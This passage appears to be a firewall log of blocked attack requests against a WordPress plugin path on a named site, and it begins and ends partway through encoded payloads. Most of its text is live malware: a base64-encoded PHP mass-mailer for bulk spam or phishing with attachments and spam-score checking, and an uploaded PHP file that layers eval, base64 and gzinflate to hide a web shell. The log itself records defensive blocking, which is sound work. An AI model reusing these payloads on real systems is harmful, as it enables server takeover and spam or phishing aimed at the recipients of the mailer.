VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iY2hhcnNldCI+Q2hhcmFjdGVyIHNldDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz0iZm9ybS1jb250cm9sIGlucHV0LXNtIiBpZD0iY2hhcnNldCIgbmFtZT0iY2hhcnNldCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kdXRmOC4nPlVURi04PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kaXNvLic+SVNPLTg4NTktMTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iZW5jb2RpbmciPk1lc3NhZ2UgZW5jb2Rpbmc8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCBpbnB1dC1zbSIgaWQ9ImVuY29kZSIgbmFtZT0iZW5jb2RlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiAnLiRiaXQ4Lic+OGJpdDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uICcuJGJpdDcuJz43Yml0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmluYXJ5Lic+YmluYXJ5PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmFzZTY0Lic+YmFzZTY0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kcXVvdGVkcHJpbnRhYmxlLic+cXVvdGVkLXByaW50YWJsZTwvb3B0aW9uPgoKICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXNtIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJzZW5kIj5TRU5EPC9idXR0b24+IG9yIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnZm9ybVwnKS5zdWJtaXQoKTsgcmV0dXJuIGZhbHNlOyI+Y2hlY2sgU3BhbUFzc2Fzc2luIFNjb3JlPC9hPgogICAKICAgICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImNvbC1sZy02Ij48YnI+CiAgICAgICAgPGxhYmVsIGZvcj0id2VsbCI+SW5zdHJ1Y3Rpb248L2xhYmVsPgogICAgICAgIDxkaXYgaWQ9IndlbGwiIGNsYXNzPSJ3ZWxsIHdlbGwiPgogICAgICAgICAgICA8aDQ+U2VydmVyIEluZm9ybWF0aW9uPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlNlcnZlciBJUCBBZGRyZXNzIDogPGI+Jy4kX1NFUlZFUlsnU0VSVkVSX0FERFInXS4nIDwvYj4gPGEgaHJlZj0iP2NoZWNrX2lwPScuJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10uJyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJsYWJlbCBsYWJlbC1wcmltYXJ5Ij5DaGVjayBCbGFja2xpc3QgPGkgY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tc2VhcmNoIj48L2k+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+UEhQIFZlcnNpb24gOiA8Yj4nLnBocHZlcnNpb24oKS4nPC9iPjwvbGk+CiAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxoND5IRUxQPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlstZW1haWwtXSA6IDxiPlJlY2l2ZXIgRW1haWw8L2I+IChlbWFpbHVzZXJAZW1haWxkb21haW4uY29tKTwvbGk+CiAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgPGxpPlstZW1haWx1c2VyLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWx1c2VyKSA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT5bLWVtYWlsZG9tYWluLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWxkb21haW4uY29tKSA8L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgIDxsaT5bLXRpbWUtXSA6IDxiPkRhdGUgYW5kIFRpbWU8L2I+ICgnLmRhdGUoIm0vZC9ZIGg6aTpzIGEiLCB0aW1lKCkpLicpPC9saT4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tc3RyaW5nLV0gOiA8Yj5SYW5kb20gc3RyaW5nICgwLTksYS16KTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbnVtYmVyLV0gOiA8Yj5SYW5kb20gbnVtYmVyICgwLTkpIDwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbGV0dGVycy1dIDogPGI+UmFuZG9tIExldHRlcnMoYS16KSA8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT5bLXJhbmRvbW1kNS1dIDogPGI+UmFuZG9tIE1ENSA8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPGg0PmV4YW1wbGU8L2g0PgogICAgICAgICAgICBSZWNlaXZlciBFbWFpbCA9IDxiPnVzZXJAZG9tYWluLmNvbTwvYj48YnI+CiAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgIDxsaT5oZWxsbyA8Yj5bLWVtYWlsdXNlci1dPC9iPiA9IGhlbGxvIDxiPnVzZXI8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT55b3VyIGRvbWFpbiBpcyA8Yj5bLWVtYWlsZG9tYWluLV08L2I+ID0gWW91ciBEb21haW4gaXMgPGI+ZG9tYWluLmNvbTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPnlvdXIgY29kZSBpcyAgPGI+Wy1yYW5kb21tZDUtXTwvYj4gPSB5b3VyIGNvZGUgaXMgPGI+ZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2U8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KCiAgICAgICAgICAgIDxoNj5ieSA8Yj48YSBocmVmPSJodHRwOi8vJy4kbGVhZlsnd2Vic2l0ZSddLiciPicuJGxlYWZbJ3dlYnNpdGUnXS4nPC9hPjwvYj48L2g2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+JzsgIAppZigkX1BPU1RbJ2FjdGlvbiddPT0ic2VuZCIpewogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICAkbWFpbGxpc3Q9ZXhwbG9kZSgiXHJcbiIsICRlbWFpbExpc3QpOwogICAgJG49Y291bnQoJG1haWxsaXN0KTsKICAgICR4ID0xOwogICAgZm9yZWFjaCAoJG1haWxsaXN0IGFzICRlbWFpbCApIHsKICAgICAgICBwcmludCAnPGRpdiBjbGFzcz0iY29sLWxnLTEiPlsnLiR4LicvJy4kbi4nXTwvZGl2PjxkaXYgY2xhc3M9ImNvbC1sZy00Ij4nLiRlbWFpbC4nPC9kaXY+JzsKICAgICAgICBpZighbGVhZk1haWxDaGVjaygkZW1haWwpKSB7CiAgICAgICAgICAgIHByaW50ICc8ZGl2IGNsYXNzPSJjb2wtbGctNiI+PHNwYW4gY2xhc3M9ImxhYmVsIGxhYmVsLWRlZmF1bHQiPkluY29ycmVjdCBFbWFpbDwvc3Bhbj48L2Rpdj4nOwogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJG1haWwgPSBuZXcgUEhQTWFpbGVyOwogICAgICAgICAgICAkbWFpbC0+c2V0RnJvbShsZWFmQ2xlYXIoJHNlbmRlckVtYWlsLCRlbWFpbCksbGVhZkNsZWFyKCRzZW5kZXJOYW1lLCRlbWFpbCkpOwogICAgICAgICAgICAkbWFpbC0+YWRkUmVwbHlUbyhsZWFmQ2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAgICAgICAgICRtYWlsLT5hZGRBZGRyZXNzKCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5TdWJqZWN0ID0gbGVhZkNsZWFyKCRzdWJqZWN0LCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5Cb2R5ID0gIGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgICAgICAgICBpZigkbWVzc2FnZVR5cGU9PTEpewogICAgICAgICAgICAgICAgJG1haWwtPklzSFRNTCh0cnVlKTsKICAgICAgICAgICAgICAgICRtYWlsLT5BbHRCb2R5ID1zdHJpcF90YWdzKGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlICRtYWlsLT5Jc0hUTUwoZmFsc2UpOwogICAgICAgICAgICAkbWFpbC0+Q2hhclNldCA9ICRjaGFyc2V0OwogICAgICAgICAgICAkbWFpbC0+RW5jb2RpbmcgPSAkZW5jb2Rpbmc7CiAgICAgICAgICAgIGZvcigkaT0wOyAkaTxjb3VudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ25hbWUnXSk7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldICE9ICIiKXsKICAgICAgICAgICAgICAgICAgICAkbWFpbC0+QWRkQXR0YWNobWVudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldLCRfRklMRVNbJ2F0dGFjaG1lbnQnXVsnbmFtZSddWyRpXSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoISRtYWlsLT5zZW5kKCkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtZGVmYXVsdCI+Jy5odG1sc3BlY2lhbGNoYXJzKCRtYWlsLT5FcnJvckluZm8pLic8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtc3VjY2VzcyI+T2s8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICAkeCsrOwogICAgICAgIGZvcigkayA9IDA7ICRrIDwgNDAwMDA7ICRrKyspIHtlY2hvICcgJzt9CiAgICB9Cgp9CmVsc2VpZigkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKICAgICRtYWlsID0gbmV3IFBIUE1haWxlcjsKICAgICRtYWlsLT5zZXRGcm9tKGxlYWZDbGVhcigkc2VuZGVyRW1haWwsJGVtYWlsKSxsZWFmQ2xlYXIoJHNlbmRlck5hbWUsJGVtYWlsKSk7CiAgICAkbWFpbC0+YWRkUmVwbHlUbyhsZWFmQ2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAkbWFpbC0+YWRkQWRkcmVzcygidXNlcm5hbWVAZG9tYWluLmNvbSIpOwogICAgJG1haWwtPlN1YmplY3QgPSBsZWFmQ2xlYXIoJHN1YmplY3QsJGVtYWlsKTsKICAgICRtYWlsLT5Cb2R5ID0gIGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgaWYoJG1lc3NhZ2VUeXBlPT0xKXsKICAgICAgICAkbWFpbC0+SXNIVE1MKHRydWUpOwogICAgICAgICRtYWlsLT5BbHRCb2R5ID1zdHJpcF90YWdzKGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpKTsKICAgIH0KICAgIGVsc2UgJG1haWwtPklzSFRNTChmYWxzZSk7CiAgICAkbWFpbC0+Q2hhclNldCA9ICRjaGFyc2V0OwogICAgJG1haWwtPkVuY29kaW5nID0gJGVuY29kaW5nOwogICAgJG1haWwtPnByZVNlbmQoKTsKICAgICRtZXNzYWdlSGVhZGVycz0kbWFpbC0+Z2V0U2VudE1JTUVNZXNzYWdlKCk7CiAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAnaHR0cDovL3NwYW1jaGVjay5wb3N0bWFya2FwcC5jb20vZmlsdGVyJyk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgaHR0cF9idWlsZF9xdWVyeShhcnJheSgnZW1haWwnID0+ICRtZXNzYWdlSGVhZGVycywnb3B0aW9ucyc9Pidsb25nJykpKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTUpOwogICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAkcmVzcG9uc2UgPSBqc29uX2RlY29kZSgkcmVzcG9uc2UpOwogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICBpZiAoJHJlc3BvbnNlLT5zdWNjZXNzID09IFRSVUUgKXsKICAgICAgICAkc2NvcmUgPSAkcmVzcG9uc2UtPnNjb3JlOwogICAgICAgIGlmICgkc2NvcmUgPiA1ICkgJGNsYXNzPSJkYW5nZXIiOwogICAgICAgIGVsc2UgJGNsYXNzPSJzdWNjZXNzIjsKICAgICAgICAgICAgcHJpbnQgJzxkaXYgY2xhc3M9InRleHQtJy4kY2xhc3MuJyI+WW91ciBTcGFtQXNzYXNzaW4gc2NvcmUgaXMgJy4kc2NvcmUuJyAgPC9kaXY+CjxkaXY+RnVsbCBSZXBvcnQgOiA8cHJlPicuJHJlc3BvbnNlLT5yZXBvcnQuJzwvcHJlPjwvZGl2Pic7CnByaW50ICcgICAgPC9kaXY+JzsKICAgIH0KfQpwcmludCAnPC9ib2R5Pic7\"));\n?>\r\n--2f65df81ac13da324e91635c0275d142\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--2f65df81ac13da324e91635c0275d142\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--2f65df81ac13da324e91635c0275d142\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--2f65df81ac13da324e91635c0275d142--\r\n"]
["2026-05-26 21:49:53","170.205.30.68","POST","\/wp-content\/plugins\/ngarw\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/ngarw\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=bde94114e985d36a26f7d20af157b33b\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:54628\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--bde94114e985d36a26f7d20af157b33b\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--bde94114e985d36a26f7d20af157b33b\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--bde94114e985d36a26f7d20af157b33b\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"uirlt.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\neval(base64_decode('ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFsKGV2YWwoZXZhbChldmFsKGV2YWwoZXZhbChldmFsKGV2YWwoZXZhbChldmFsKGV2YWwoZXZhbChfcjVNZTBGTnJoODNVWTl4WnQoJzR0TkNQZFVNTkhHcDM3VExnM2s2cFBZNUNJZjZLV0ZkTXFGRUNoSktYZ1piaTFCRUxwWG1vTTZ6dE12b1BuV2c0ZVFVdlRrYzNQbUFjd21sczRiTEJFUVRTWDFja0pHYXM2Nk50bXdYQWFsaks0dVVNZVBjSm5HVnBUWUh3UnRGM3VUWE1RRFlKMk84dW15R3RHc01zZGtIeEZqVFNxbVkxYmVRYko3eDBMczlXeUo2QVNLOVFyRXpHVGY3SWRQSVByZThtcWhJOWVvZHlGTU5qOVlHUkpEbjRDY2ZKMmtnMmVJb0RiV1BwaFhUYlJQR3ltV1Bkb3oyWlRwbDA2WFFPdExMeDdnc3h2SzNJcms5QlRIMVBxSXNGQm9iS3VBQXZvYzBTb0NLdTkzRGVUTmN0ZFpEeHZabWdHc3N3QUJFSXNPYVVPc0EyTVVLZnU5U3hBSDhKTm9JWEJPQ21QNnlWOWNnVEk2MTdwY0x4WG96TExwNENCZ1k2REtNZ2NreXBhOE1FV0RycGkwdURrc0RKY3A5blkxTVZQMDVsOXc0SE5IQXIzczBjckE4QzBqaHZISEhUWWxMUHhlTmNGb1ZTQ2tNWGlXT1JLVnJiWXJNYVlSU2hXUXEwcEpGaE5rQzd2REoxRzBUQnY1MXBqODJnVFN0MEYyekZDVmJSbGRoNzRRUHNGSFZBa3czT1A3bEtwNTZFOWVua3dqMmc2ZnU0UU9CSGV6U1lsTFNIR0V3RlpiaUJMSEh4U0xSd1drTXpTSDJZOEhndklwV2xPSHZVVmk4MzdYc0dZbm5ETFRLNVhoNU1BV2dNN213ZHZNa2Vud01YbmNudlZGQ3hLb2hRcEJyZVRMdzFpZkpMd3Nmbk5FSjdiM3JldU00c2lENEtpeDFkbEhxbEoyNjJFNWJTTHZTZDh0M1c3Nm5jOVFVUlVtMEpaSVdKY3R5ZHY2ZFIraHZkMmUrN3p6RXZORjVrbzFBQUNCSVViNWsxY3llSDF2ZFZiUklJQkFJQkFLQlFDRGlwL0dULzY4eXY5M2FXRFBZNlBwa2M4ZndCMzdiWUlIN3dmQTd0bU5VL0tmOW15MkQwWU0rNWdhaDMvbVFkWHFXTjI3ZzN3T25iU3diV0tleTVSOXZQUnVNSHFJNEx4bVY0N1dOeWxKL3Zka3dHRFZPSmMyZTM0RC9EMzNQYlZsOUt6UUZEb1Fab3hxODZBL0RDYnNPSUQrdFR0U0RIMFl1ZDF5dGI1NnRibFQzVnkvcXA1dG4rOVV0SXc4RnNuM3JzZDUzQmwyM2xUVmFyc0crbTZjYkc2dFE1T0owczJaK28yZjlnK2djUURJRDF6U1dsNDJSK3d6Ly84QnJ2WTRMVVdCWUR6cUJ3c2xzZTI2emFVMUFBeHlldkhIWC9IWldPenJtVFl1dlVUdVZzTGEzNnNHWVhGdWZxMFFQZU5uZFA5eXBHb3dlZ3ZLYjFiMmpvL1g2aCt6WTZ2ZXRldWgwUXFzYkJtNS9FQUpnK1JVQVZoY2JUWVBSUTlTbDl0TnJDdHdxTzcxU2Myd3dlZ2hFV0k1WCtaQ04xYWtZNHJXUk55ZEJtdG5BNnRYNWUrTVBXVkkyN1JwZWZ6aHcra2kxK0JlOUFjOTNCN1kzYkJtVlJtdHA5Y3hnOUJEY2tzdGw3YUFOTlFiKzhLRnV1MjFvRHJueDk5OWhKTksrbU5sd0VMcFBUbDNDNVlOVGFhK3ZybDBackRjOHViK1VoQ3BrQjI3UDdkYWRuanVBcXVGWG8vSzU3eHpBcDFIOTVMbXJCdWlncyt2Q3k2UGhlZXRFMU0yc0RBQjdPL3oweGJ2dDMvN0UvN0RpVEdmUTlwenViTmpzMlVEci90QWUzUEl2T2RQTWRzSmh3TC9JZC9EbjVNdHM0T3N2b1A5WUROaE5rVW0xOTFQVW1abmhEZUgvOERleW12eWJmWWRQM3dRNnpyQnJQYzdDMzdNdGUzYmdPYjJoN1RlamVqa2QrUytJZkxibEtrQWZQNHBHQkZhRk9XUi9ENG9JM2s2Vys1UElGSlpYRWhpb2Jnb01Gc3NTQTFIQWFmcnJZK2QrRnNTTzBiSGR6Z2orQXBZRTRJK2JzeU8vNmJtakxMVHNHU0E3RkJRbkc5ekhTTXNLTkhKWVNvMGRjdTJxTVhJOCtNWTdvRDRlWGg1dFhHL3V6ZkpXZ1BQdzRRRFRCNVl0Mmt4ZzBIS3hvdUNlTHhraEo4dit3ZGFtd1Rhczl1VklpdFFWcDl1d0JwKytyUFR4UDAzOFQ0WnhZSWgwWnRrRGlOQmZ6emN5N08rRlFySFNHVFRkRVhzS0NwVyswK3o3amN5eTB4M0RCQU9FbDFHTUdZTW5aN0RzQk9PQk1SZ0dub3RBQ2ZBSGdQd1VsQVVJQS82ZXF3eGFUbmVHUkYyZ0lBMFFHOEFEMjhzc1UrbkNNcFN5clNEc2RoMmJmbUVkL2l2RDBRbjh3UXloeEFwRnE3QlErRnVsNzNkOWU2YnBEZjErKzk2MjFBZWo2WGI5MEhnS2lvbE9jR0o4V2JHY3ZvWGQrUFJGTGpFTGk0ZjNnTEt6K0ZDNlZKTE1YTUV4RFh3c05tdDRIK0EvNWtvRy84NDlnbnpyV3gyN2E3bTJBMGozQmgzOEN1MGdTeHBVVDBJSFVNN1Fjd2VlYnlQUUFOSGxZRmN5TXh5YWx3NXRKclBjZFJwVzE1QTFKRUJjUC9qSzhTaVhJRURJV0ZsR0hFUEwrRzZHVG1pNVhjdjhWdHRmWFR2YTM0WmlIUnQ2N1lOOERENzdaN0RPMEVOeUNTOHV4dGQydWs3NFpZVTNqZHdDMDg5cVNTSDhFMWo1MXJ5dEZQOW9PdmUyMDdGbnc3N2Y3enYxa2Q4SlowTzNNOGhIczVMLzdIYUhIdjlQdHYwRFovS2ZnV0Q5eU1sS1Q5YWR4VC9EWkdDNWVBMFVkVDlqZUROc2Nqa21MNXI2TzJEbHdkRG5yMzhBZW4zTDZkcndNVkVEbXNvc2c3UnZERU9ZTUMweElYcEExaThyTUtWd2dKZERXSk5zNDlGdGZsa3BkajU5Y1lBUlBYOGQvbGE4UmlzQU81dzczMU9hajFvSVFIaUhJTVZhcWswNXlWY0FKSEFNTmhheExVMTE1bzRiYTRFQ05lNTZmaE1HbTgrYmVUNXZQTGZkdDNxc1VPbjVnNEhmbUluUEN1bzhkUWFuUnR0dGlHN0lpZkpsNVZPL0FiTzI0WHVmdnVTS3Y2K1VzbEFMWkcwSXJSb3dlUGdYTUU3ZmJVSzdLNXlwZ1VNcmhpbUd5d1FoK3QyRUtuVi9VS2Z5dk5CM0UzU0puZnJ4MmRsT3BHOWw1NXU5YjBvNytkZS9zRmdwa0NwUmRqd0llczV2V1p3aFJsRk1PSTJGcUI5UGZvTTNyRXNxNDJwMWQ5VUF5UklPamFibmhOTVJSZVo2STM1ZjQ0aGd6ZWtZY0FwK01WWXl4RVJTWEdSZW5oUElCbUpPOEhsS0w5NDNyMTZEa1p4Wmd0M2x6SXJxNE56S0xOL2JidGVHT2VBQlB3MGJzUzV5dVFHY1NuSWs0bFdTcll6VUlMazFBTzNiOTdmV1RudnUyS2pRakdBUHphMXFKMUluQzZBeXZqNGVXVVFCNnZRRHJ1NTlONHRKaHVIS25oamEyQmRTN1E0SHhjOTlVS3ByNjlabXZQRjNjTzNyV0dCamFyK0FFd2w0WjNuVzBFc2FTUFQrNEUrMlBERmhSUDlUTVRJcTU0dmpuU0VJSlU0RnFiSVdiMDRmWVY5UTJoLzFQZmtTOE00d00yTWd6czJSSFMweDhDWmpMdGZ0ak5yMXdHZFFwYitDdXBNc3lsRXNmdXZZQTZzSDJ6QzMyYkcveXBVc1IyK05mSXdtK2N4dkgyNXpINyt6Ly9ZdCt6Rzh2VzNhLzVqOUxaUGxaZXR0cHg5UU4yb0xDM3Zuc0tzY2VRZTJWTExab05OMm5aMXUxd2M1cWt0NjNOZjVaNVB2cFQ3MUZGd005MEdmNm15Rlo0cGpCeUFSdzNyRE55cUY3WnNMVUxmNmZua3psRzE1dDh3MEU2dUdCRWR3R0JHVnlnOWdpMkZVTm9mSE4zM1VsN0E1aVRRbk1ZelBRQkQyNDhSQ0plSFM4REJDUjZBcEdPaGQ4NmJTUHgrVVlUVlphQSszMVRZdzYrRlNpRnNpN1BPeXdLaENCR2FFdWJBWjhDOTVJRUhHeU9mNHJ5eHNCWEJ6Sm5Rc0RwZlJFQW53dVV3QlpCYm80LzFicWhkalVDQU85QjAvSkdZSXZEVStZQTI1eTdSeGM1TTNGMmUyenM1TlpCM1lpS0ZHcFVBOXd0cnNmbzA2UUtQR3FNdHFsNWdRRHdBa2RJbXhTQzR3VXJFajZRWHI3STZRWGlTMkdHbVNTb0M4cTBPWlNUVlEyVENtemx4YS9CbE5ZTm1Uck5BNytLYkUwbmJIei9QQi9xckJhQ01yK21FK3VWdkRmU0NiZVhoVXJRRjNtRm5IYzF0T0U3YXk1NzFGbE1tWEcvVlNXOG1GeHMxU2V3TVk5dnIrY2x1cEhabTRzaUdWQzJEYVRiSE0wYUlYV3l4MFRWd3V4Zkd1VGxEa2p5bFNESlZ6M0wwRm5lUGxwcHRRWk9DREhTazRwTkxFTlZ1eGZJbzFFc3RQVlYrbkY1bWluMnBLNHlEMGcrVW0yc0o2Uml0NGl3SUp6Y3djN3h6ek1SemF6dE9tcmt1ZUhwNXZWdzIyczFOL09GUEQwNXcvcVFGdlh6NGVqSy9lT2ptZjNibjdHNUIxQ3d1TnNlU0xHSm1oeTdqRnZONDhBdEJVV3BONXlOQVRjemt1UENaR01qWjN1WXpiUHpqYjZUdWU1ODdtVEM3b2ptQXd6V3l6T2w3RDNiM1QzUVJRYXFPUGtuWnNkWVBRYmM1eVhudFRyVXdrQTZpemJIOHgzSkR5anN2TjVmZHBnRWJsK3FDNDd4dU02SzVMZGhvQ1JsU2JYRUdvWlViVjN5Q0U2anZWMHljWXBQTGNmTFJ6b0gwQnJJQ1JxalYzR2d4aFJhQ0g1SXFIL3ZVUjZGOFhaLzF4KzRVUmRwdExOeGV3cGVDUFNaUlh0OHNlTUJ3QmswTDg1WEVXU0ZIRGpBQm9uWjBpMW5iRGFuQnFNR0p3S1U1cHdyNTNmSDVOSWR3Y25lOEN2aVRyVXZWVkdnZEdtTXJoS0haN1lnb250MS9hWm9NNW51OVZCUE9hNlNJdEt3d0swUmJ0U0lnMkdHdTVFZnpmc2FONXo0YkdrQ3hIYXdFN2Z0NWZPRTlmSDBsR01TS3JzbHB2MkkvQTBTZDN6WlkwV1lGMFFsRmxsanE0SXAyN1llKzNZdWMzV0pKc0lKZlQ1OG9lbjhNNGhlMVdONEFoS0JjT2xoNlZxQnZJdzR2cms4TkhXT3crMzVmS3JrTEtiM2t1V3VJcm40dldIaXpZeDhQVE9TWHlKdFVkYklVQXNPNkZyMHkzNWpSNWplQU5rTmU2bEhhSys5dEFuRTZ0dHg0a2VxbjYrUE1mc3orTWNkTnZUT3NxNGNrSTY4bUpTY2l4eGwxajNFeTA4YlA0NFlmUkdSaWRXU09QL3o3Q3Y4NXMxSEx1SDdOWlhpRGZIRXhyblVhSTBYaEpFcUJOZ0lzZjJWRWFCMFowZjZtanBZNlJ4MytwVVNQL1VzZXBTNHlHK2lXZ0gwZTN0eFZyR2hpaVBxT3hrUExIeE9IaXBqUjl4eVFrZzdhRjBvUXdzVGdqV2F6MExaaWFFN29XMmY5WlkvTzZwUFpVUDFPbGJuU0dsTE0rWkoxbjJHeTdmU2VVTzZtY0